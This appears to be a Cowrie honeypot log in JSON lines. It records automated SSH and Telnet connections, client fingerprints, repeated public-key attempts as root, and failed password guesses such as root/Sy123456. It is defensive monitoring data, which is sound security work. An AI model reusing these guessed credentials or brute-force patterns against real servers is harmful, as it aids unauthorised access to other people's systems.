{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:05.241220Z","src_ip":"216.252.238.153","session":"d6c01bde88a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c8:a8:23:bb:3c:71:96:e4:b8:d3:5a:6a:06:70:45:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdK+V4KUFXx6zJFNdC/txbPhecUpv49BJgR24iH6Ugy4gVwD1dcTRHLKF04PvDhnwXBKWk2ek9FJNxBca43/K21vWbMKpHaIkzdjnbtYslwJ25mwz1LfJbRJoZ/2/o9gyOI5DgDdWebQTef7jhI7dbvaGxxFWUX6bVBzxyXhXvc02ayHRPhotBZysqvticC7N6jR4YeIRLIsWy4sccMGC8WhHeYZ1oplLyDI5zg8XYDOYIwXgxhWb2jQgx1nerfVBTF88jvJQfoEPlREDcANjjt6LgV4wtZaV6oz8yW6D7S4dC4xUQbO68M1XPsTZ2qkJsDZdnkLVL3Uizuyaif7Cv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c8:a8:23:bb:3c:71:96:e4:b8:d3:5a:6a:06:70:45:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:05.678110Z","src_ip":"216.252.238.153","session":"d6c01bde88a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c8:a8:23:bb:3c:71:96:e4:b8:d3:5a:6a:06:70:45:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdK+V4KUFXx6zJFNdC/txbPhecUpv49BJgR24iH6Ugy4gVwD1dcTRHLKF04PvDhnwXBKWk2ek9FJNxBca43/K21vWbMKpHaIkzdjnbtYslwJ25mwz1LfJbRJoZ/2/o9gyOI5DgDdWebQTef7jhI7dbvaGxxFWUX6bVBzxyXhXvc02ayHRPhotBZysqvticC7N6jR4YeIRLIsWy4sccMGC8WhHeYZ1oplLyDI5zg8XYDOYIwXgxhWb2jQgx1nerfVBTF88jvJQfoEPlREDcANjjt6LgV4wtZaV6oz8yW6D7S4dC4xUQbO68M1XPsTZ2qkJsDZdnkLVL3Uizuyaif7Cv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:05.682299Z","src_ip":"216.252.238.153","session":"d6c01bde88a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:e9:5b:b1:91:9f:1a:ca:0b:de:f2:9e:b2:4e:a2:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzlkkXGLuM3i2vmdKqoh35m0N5o3NoAdBnwIbtfse4G90lsk22nJYQ/8GxsR7cJK2mqhb35rMS8gSAzv7Bs3JIXDO9JmFgP2n7J9oENL/KgRnVvSA1pXj5n0JaWHgjCToFv09lt/UKoVK/frywyTsEInGWiW1OLyC+BidlLUraZ4ke0+M5a0tPZLTc0JNKUsBWrw5Sk5GCT7Rd6fFoNgMWOzZixc1GbaLsm3wbecKokryGajwb3qUe9y1GFRB9nFN/LFUUxDgdTA5zyi3Y5vGQKNE9HR189THHhVFKLcpabz5baGyPfs8R/V5zp8kUAZW6Hb+3n+Tk9MXdU7TbUxfsQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:e9:5b:b1:91:9f:1a:ca:0b:de:f2:9e:b2:4e:a2:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:05.778730Z","src_ip":"216.252.238.153","session":"d6c01bde88a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:e9:5b:b1:91:9f:1a:ca:0b:de:f2:9e:b2:4e:a2:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzlkkXGLuM3i2vmdKqoh35m0N5o3NoAdBnwIbtfse4G90lsk22nJYQ/8GxsR7cJK2mqhb35rMS8gSAzv7Bs3JIXDO9JmFgP2n7J9oENL/KgRnVvSA1pXj5n0JaWHgjCToFv09lt/UKoVK/frywyTsEInGWiW1OLyC+BidlLUraZ4ke0+M5a0tPZLTc0JNKUsBWrw5Sk5GCT7Rd6fFoNgMWOzZixc1GbaLsm3wbecKokryGajwb3qUe9y1GFRB9nFN/LFUUxDgdTA5zyi3Y5vGQKNE9HR189THHhVFKLcpabz5baGyPfs8R/V5zp8kUAZW6Hb+3n+Tk9MXdU7TbUxfsQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:05.782693Z","src_ip":"216.252.238.153","session":"d6c01bde88a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:f6:d0:2d:f0:e2:89:4d:2f:9d:d0:e1:53:0b:7f:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDeQq3HLPhnnpW8Lb2irbTAKlIdWDWjpwOTp+QEzLBUD5h1dKr8Rz6REOUbhOCOYqyIyTAUCjIImvXcxt3+t8SrkOZ8Xo2nIZH0ggQZ0mVrT9jX//gFf5oP4FoU1ThsN70Z2FJvT4SBw1WF8PbyfUIsffWNIx4ock3iI4Q6aZDe7rglGL365IPJJG2+JS4aqeswrxB1DUyY9+2n5F8ZTCfoVJsPZSKI+F5UX+Uet648oEo4dRlyVNkPqPLdN2KK6spr6fGZpcMvmzsPIQQGPJvYu8JEy8LPs+bJsGUSiL8LyrBA+ZEWhKZvCLKBAYd7KMA3ai8JPhXkOB/PZLhC4VvZArGpZtZ9wvIuB64wu+XpKFRWuT0P/UKMcNmCthNHOJqLGmGdrP95GW2Mgg1/Ok8khBJ4I1ARSy17ConiZxGo/Lcg7pXb3Tp6GBtID07VjWOVbylE71eJJPHuVJnmSeP+J2nm5dTac7wfG22WWaHptPyyRdgAFr8+jBjUys+RKMnvI95J6OA3lOmQEseoZMjZNZLcpsAvbqUBFdLyHWpRKrXTQaSaUyXKF4PtLqW7b5nb9FTCg2VORPtJxIr27IY0q80/Pyf7PHeGekuZPl+ncjQf92k/aKssRpm+qpgVr90k3hfU+Mt7SfdIMW9X+cIc5Mt1LPFt9v+RRY+x+UcW2w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:f6:d0:2d:f0:e2:89:4d:2f:9d:d0:e1:53:0b:7f:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:05.875805Z","src_ip":"216.252.238.153","session":"d6c01bde88a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:f6:d0:2d:f0:e2:89:4d:2f:9d:d0:e1:53:0b:7f:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDeQq3HLPhnnpW8Lb2irbTAKlIdWDWjpwOTp+QEzLBUD5h1dKr8Rz6REOUbhOCOYqyIyTAUCjIImvXcxt3+t8SrkOZ8Xo2nIZH0ggQZ0mVrT9jX//gFf5oP4FoU1ThsN70Z2FJvT4SBw1WF8PbyfUIsffWNIx4ock3iI4Q6aZDe7rglGL365IPJJG2+JS4aqeswrxB1DUyY9+2n5F8ZTCfoVJsPZSKI+F5UX+Uet648oEo4dRlyVNkPqPLdN2KK6spr6fGZpcMvmzsPIQQGPJvYu8JEy8LPs+bJsGUSiL8LyrBA+ZEWhKZvCLKBAYd7KMA3ai8JPhXkOB/PZLhC4VvZArGpZtZ9wvIuB64wu+XpKFRWuT0P/UKMcNmCthNHOJqLGmGdrP95GW2Mgg1/Ok8khBJ4I1ARSy17ConiZxGo/Lcg7pXb3Tp6GBtID07VjWOVbylE71eJJPHuVJnmSeP+J2nm5dTac7wfG22WWaHptPyyRdgAFr8+jBjUys+RKMnvI95J6OA3lOmQEseoZMjZNZLcpsAvbqUBFdLyHWpRKrXTQaSaUyXKF4PtLqW7b5nb9FTCg2VORPtJxIr27IY0q80/Pyf7PHeGekuZPl+ncjQf92k/aKssRpm+qpgVr90k3hfU+Mt7SfdIMW9X+cIc5Mt1LPFt9v+RRY+x+UcW2w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:05.879693Z","src_ip":"216.252.238.153","session":"d6c01bde88a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:28:9f:5e:d5:ce:13:4f:43:49:bb:32:5f:60:2c:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtdCFrrb6Obm85UBrFB9GM8JkVudO/Y3C/GlBQQYFYusqn9qUC3RuupTzf326hQl8MsMGI/z0wHaFlRWhYEpn+4Uz7EqTgTUinPjQpP5Fpew2mSIX6Yfi7r/XfktTyjB0OaWNoGmc6CLrDfH7uuoigqlg0Keaz9s4v6Y3XZFAqzt9BUyj6aefdFlIJJ0AAqjJKtitETNgwo9iW6o1PEkULlt98ea1q9DBtE4WN50vz9KV8dRhSx/muAE5QmepYUqa1nICwyOii7Au+wZ0a52z4m4clWkIiqAMXLrDtbxxPPXj5wQLSgurgZg1/GLMGq06t+bGtlhYF7+p3JELEoKYMdbDzgXavrpkEdjHJrjuFDa1JXfpCUCangPI+/IB94Ze5vKFsKksJBH4DUuU5FOZNKk8sGcTGHaosuF1PVV4rMIYmL3fROsvrcxSshQmNhwtxKm1qoy3iUhvS+9xDJQ5VK8IcaykET26Q2VNDwPa1cQjtnL9Ut6LWPyUgoQtFynG9j/JrhkP/1CSVq3K+xoNAf7X8sXLJj0acFqh5wh0nDXzaQs5LGd04jQOEv9oxGzxVpM9JtXPNA0t42NIDv4v1mSwHzBQgMF4OgaUGRn5DXEsv4n6ksGhwGINzSTn8yizkFh9qH2mFg4G7daj5Xm+aYnR3lxim5YoZTkJsHiffvQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:28:9f:5e:d5:ce:13:4f:43:49:bb:32:5f:60:2c:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:05.971705Z","src_ip":"216.252.238.153","session":"d6c01bde88a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:28:9f:5e:d5:ce:13:4f:43:49:bb:32:5f:60:2c:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtdCFrrb6Obm85UBrFB9GM8JkVudO/Y3C/GlBQQYFYusqn9qUC3RuupTzf326hQl8MsMGI/z0wHaFlRWhYEpn+4Uz7EqTgTUinPjQpP5Fpew2mSIX6Yfi7r/XfktTyjB0OaWNoGmc6CLrDfH7uuoigqlg0Keaz9s4v6Y3XZFAqzt9BUyj6aefdFlIJJ0AAqjJKtitETNgwo9iW6o1PEkULlt98ea1q9DBtE4WN50vz9KV8dRhSx/muAE5QmepYUqa1nICwyOii7Au+wZ0a52z4m4clWkIiqAMXLrDtbxxPPXj5wQLSgurgZg1/GLMGq06t+bGtlhYF7+p3JELEoKYMdbDzgXavrpkEdjHJrjuFDa1JXfpCUCangPI+/IB94Ze5vKFsKksJBH4DUuU5FOZNKk8sGcTGHaosuF1PVV4rMIYmL3fROsvrcxSshQmNhwtxKm1qoy3iUhvS+9xDJQ5VK8IcaykET26Q2VNDwPa1cQjtnL9Ut6LWPyUgoQtFynG9j/JrhkP/1CSVq3K+xoNAf7X8sXLJj0acFqh5wh0nDXzaQs5LGd04jQOEv9oxGzxVpM9JtXPNA0t42NIDv4v1mSwHzBQgMF4OgaUGRn5DXEsv4n6ksGhwGINzSTn8yizkFh9qH2mFg4G7daj5Xm+aYnR3lxim5YoZTkJsHiffvQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:05.976437Z","src_ip":"216.252.238.153","session":"d6c01bde88a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:46:54:e4:66:19:34:19:d5:92:29:9d:41:f3:6f:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDlTzLl2Ze14IITZUVkd+WFEHH07mruz1OMjDA//gCWtpH+vVvqN6Zv8Amc2/DJbF41zwHDFpENMaYf+V+eH4UHC4PRSKqMFPqUYZ3XZ1wjpMVF5HrBFKPNY3J3JBN5W7B6BLQrwI+GlH/VZR0EpZH7+lcLC08oawU+yE/7I3P0JeZviaOrTXyNd+3PwCm8/PVWTo+QNT+z9Wo21PFkeZi1ztWld5nJ7pBYZvSpMYBhnjo0eYXRrkYBOkwEfJlVC5j1WKx66i4bqJSdYey/SIuU/1j9ZQ0Kjnlli3MqKDv8KsXhxWYnE8He5jic0qQRowzEDufsmkBIsvVnrxzNcAXe/HUYfmNFiobhPsAPSkH/cSNOAZf/Lbs12U00bKmoGr7dqCpSHl1KmKb1v43QfyHm9c/mTdsK4OPsXILMGFLoALBcW3dFtFSf+E2+ktFvJKWC6IlNG+Xwr48G6jK2oPMYbum+MwoGzOudiBAryx3zpq8HA80Suf6NhTQvgkzJv1wHgBeXg1Y5CUcfkNBFAd3V8quobQElLeyd374xbc4iT0wHCLWITT8t5/tZmY1HkOLcTjK3WmMRDTPEqcyGMLd8PssA5SNfSxXtxjnjG4JcWBlYkYEG3UQKUUnjs5C+QC+o0Q6EFz8oVHjyQCTvACFjDkTD7G/gTl7D3eF4vQMp6Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:46:54:e4:66:19:34:19:d5:92:29:9d:41:f3:6f:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:06.069284Z","src_ip":"216.252.238.153","session":"d6c01bde88a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:46:54:e4:66:19:34:19:d5:92:29:9d:41:f3:6f:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDlTzLl2Ze14IITZUVkd+WFEHH07mruz1OMjDA//gCWtpH+vVvqN6Zv8Amc2/DJbF41zwHDFpENMaYf+V+eH4UHC4PRSKqMFPqUYZ3XZ1wjpMVF5HrBFKPNY3J3JBN5W7B6BLQrwI+GlH/VZR0EpZH7+lcLC08oawU+yE/7I3P0JeZviaOrTXyNd+3PwCm8/PVWTo+QNT+z9Wo21PFkeZi1ztWld5nJ7pBYZvSpMYBhnjo0eYXRrkYBOkwEfJlVC5j1WKx66i4bqJSdYey/SIuU/1j9ZQ0Kjnlli3MqKDv8KsXhxWYnE8He5jic0qQRowzEDufsmkBIsvVnrxzNcAXe/HUYfmNFiobhPsAPSkH/cSNOAZf/Lbs12U00bKmoGr7dqCpSHl1KmKb1v43QfyHm9c/mTdsK4OPsXILMGFLoALBcW3dFtFSf+E2+ktFvJKWC6IlNG+Xwr48G6jK2oPMYbum+MwoGzOudiBAryx3zpq8HA80Suf6NhTQvgkzJv1wHgBeXg1Y5CUcfkNBFAd3V8quobQElLeyd374xbc4iT0wHCLWITT8t5/tZmY1HkOLcTjK3WmMRDTPEqcyGMLd8PssA5SNfSxXtxjnjG4JcWBlYkYEG3UQKUUnjs5C+QC+o0Q6EFz8oVHjyQCTvACFjDkTD7G/gTl7D3eF4vQMp6Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:06.072358Z","src_ip":"216.252.238.153","session":"d6c01bde88a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:06.166142Z","src_ip":"216.252.238.153","session":"d6c01bde88a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":33960,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cff21958b0d","protocol":"ssh","message":"New connection: 61.222.211.114:33960 (159.203.135.109:22) [session: 7cff21958b0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:17.209901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:17.214967Z","src_ip":"61.222.211.114","session":"7cff21958b0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:17.420502Z","src_ip":"61.222.211.114","session":"7cff21958b0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:18.267344Z","src_ip":"61.222.211.114","session":"7cff21958b0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:19.475039Z","src_ip":"61.222.211.114","session":"7cff21958b0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":42054,"dst_ip":"159.203.135.109","dst_port":22,"session":"21de681070fb","protocol":"ssh","message":"New connection: 165.154.23.26:42054 (159.203.135.109:22) [session: 21de681070fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:29.771668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:29.777339Z","src_ip":"165.154.23.26","session":"21de681070fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:29.994980Z","src_ip":"165.154.23.26","session":"21de681070fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sy123456","message":"login attempt [root/Sy123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:30.902920Z","src_ip":"165.154.23.26","session":"21de681070fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:32.124105Z","src_ip":"165.154.23.26","session":"21de681070fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00800514221191,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:55.775493Z","src_ip":"149.76.244.116","session":"cf48ce936358","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00427055358887,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:58.820070Z","src_ip":"149.76.244.116","session":"139e0037ed53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00186514854431,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:48:00.531287Z","src_ip":"149.76.244.116","session":"b7b851947275","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":43112,"dst_ip":"10.17.0.5","dst_port":22,"session":"096a630fd34f","protocol":"ssh","message":"New connection: 47.86.95.62:43112 (10.17.0.5:22) [session: 096a630fd34f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:48:20.272381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:48:20.476177Z","src_ip":"47.86.95.62","session":"096a630fd34f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:48:23.546478Z","src_ip":"47.86.95.62","session":"096a630fd34f","protocol":"ssh"}
